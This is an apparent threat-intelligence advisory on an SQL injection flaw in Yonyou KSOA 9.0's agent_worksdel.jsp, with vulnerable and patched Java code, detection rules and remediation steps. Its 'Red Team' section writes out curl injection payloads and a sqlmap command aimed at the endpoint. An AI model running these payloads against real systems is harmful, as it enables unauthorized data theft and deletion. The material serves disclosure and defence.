CVE-2025-15424

Executive Summary

CVE-2025-15424 is a critical SQL injection vulnerability in Yonyou KSOA 9.0, specifically within the /worksheet/agent_worksdel.jsp endpoint. The vulnerability allows an unauthenticated remote attacker to inject arbitrary SQL commands via the ID HTTP GET parameter. With a CVSS score of 7.3, this flaw can lead to unauthorized data access, data manipulation, and potential lateral movement within the network. Public exploit code is available, increasing the risk of active exploitation. The vendor has not responded to disclosure, leaving systems unpatched.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
• Base Score: 7.3 (HIGH)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full database read access possible.
• Integrity (I): Low (L) – Limited data modification possible.
• Availability (A): Low (L) – Potential for denial of service via SQL manipulation.

Threat Level: Critical due to public exploit availability, no patch, and low attack complexity.

Deep Dive & Mechanics

The vulnerability resides in the agent_worksdel.jsp page of Yonyou KSOA 9.0. The ID parameter is directly concatenated into a SQL query without proper sanitization or parameterization. An attacker can inject SQL commands by appending malicious payloads to the ID parameter.

Example vulnerable code pattern (conceptual):

String id = request.getParameter("ID");
String query = "DELETE FROM works WHERE id = " + id;
Statement stmt = connection.createStatement();
stmt.execute(query);

This allows an attacker to break out of the intended query structure. For example, sending ID=1 OR 1=1 would delete all records, while ID=1 UNION SELECT ... could extract data from other tables.

The exploit is publicly available, enabling even low-skilled attackers to compromise the system.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

String id = request.getParameter("ID");
String sql = "SELECT * FROM works WHERE id = " + id;
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(sql);

Patched Code (Conceptual):

String id = request.getParameter("ID");
String sql = "SELECT * FROM works WHERE id = ?";
PreparedStatement pstmt = conn.prepareStatement(sql);
pstmt.setString(1, id);
ResultSet rs = pstmt.executeQuery();

The patched version uses parameterized queries (PreparedStatement) to separate SQL code from data, preventing injection. Since no official patch exists, organizations must implement this fix manually or use WAF rules.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a vulnerable instance of Yonyou KSOA 9.0 in an isolated environment.
2. Use a tool like Burp Suite or curl to interact with the endpoint.

Exploitation Steps:

1. Identify the vulnerable endpoint: http://target/worksheet/agent_worksdel.jsp
2. Test for SQL injection by sending a payload that causes a time delay:

   curl "http://target/worksheet/agent_worksdel.jsp?ID=1'%20WAITFOR%20DELAY%20'0:0:5'--"
   

3. Extract data using UNION-based injection:

   curl "http://target/worksheet/agent_worksdel.jsp?ID=1'%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10--"
   

4. Use sqlmap for automated exploitation:

   sqlmap -u "http://target/worksheet/agent_worksdel.jsp?ID=1" --batch --dbs
   

Blue Team (Defensive)

Detection & Response:

• Monitor HTTP GET requests to /worksheet/agent_worksdel.jsp for abnormal ID parameters containing SQL keywords (UNION, SELECT, OR, AND, etc.).
• Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
• Enable detailed logging of all database queries and correlate with web server logs.
• Implement network segmentation to limit database exposure.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /worksheet/agent_worksdel.jsp with ID parameter containing SQL metacharacters (e.g., ', --, UNION, SELECT).
  • Outbound database connections from the web server to unusual IPs or ports.
• File IOCs:
  • Unexpected files in the web root (e.g., webshells like cmd.jsp).
  • Modified JSP files in the application directory.
• System IOCs:
  • Unusual database queries in logs (e.g., SELECT * FROM sys.tables).
  • New user accounts or elevated privileges in the database.

Detection Engineering

YARA Rule

rule detect_cve_2025_15424_sqli {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-15424 in Yonyou KSOA"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-15424"
    strings:
        $sqli1 = "agent_worksdel.jsp?ID="
        $sqli2 = "UNION SELECT"
        $sqli3 = "OR 1=1"
        $sqli4 = "WAITFOR DELAY"
        $sqli5 = "1' OR '1'='1"
    condition:
        any of ($sqli*) and filesize < 10KB
}

Sigma Rule

title: SQL Injection Attempt Against Yonyou KSOA agent_worksdel.jsp
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects SQL injection attempts targeting CVE-2025-15424
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: 
            - "agent_worksdel.jsp?ID="
            - "UNION"
            - "SELECT"
            - "OR 1=1"
            - "WAITFOR"
    condition: selection
falsepositives:
    - Legitimate use of the word "UNION" in a parameter (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-15424 SQL Injection Attempt"; flow:to_server,established; content:"agent_worksdel.jsp"; http_uri; nocase; content:"ID="; http_uri; nocase; pcre:"/(\bUNION\b|\bSELECT\b|\bOR\b.*\b1=1\b|\bWAITFOR\b)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Apply a virtual patch using a WAF to block SQL injection patterns targeting /worksheet/agent_worksdel.jsp.
2. Code Fix: Replace all dynamic SQL queries with parameterized statements (PreparedStatement in Java).
3. Input Validation: Implement strict input validation for the ID parameter (allow only numeric values).
4. Access Control: Restrict access to the vulnerable endpoint to trusted IPs only.
5. Monitoring: Enable detailed logging and alerting for SQL injection attempts.
6. Vendor Contact: Continue attempting to contact Yonyou for an official patch. Consider migrating to a supported version if available.

Valters IT signature: This report is generated by Valters IT Cyber Threat Intelligence. For questions, contact intelligence@valters.it.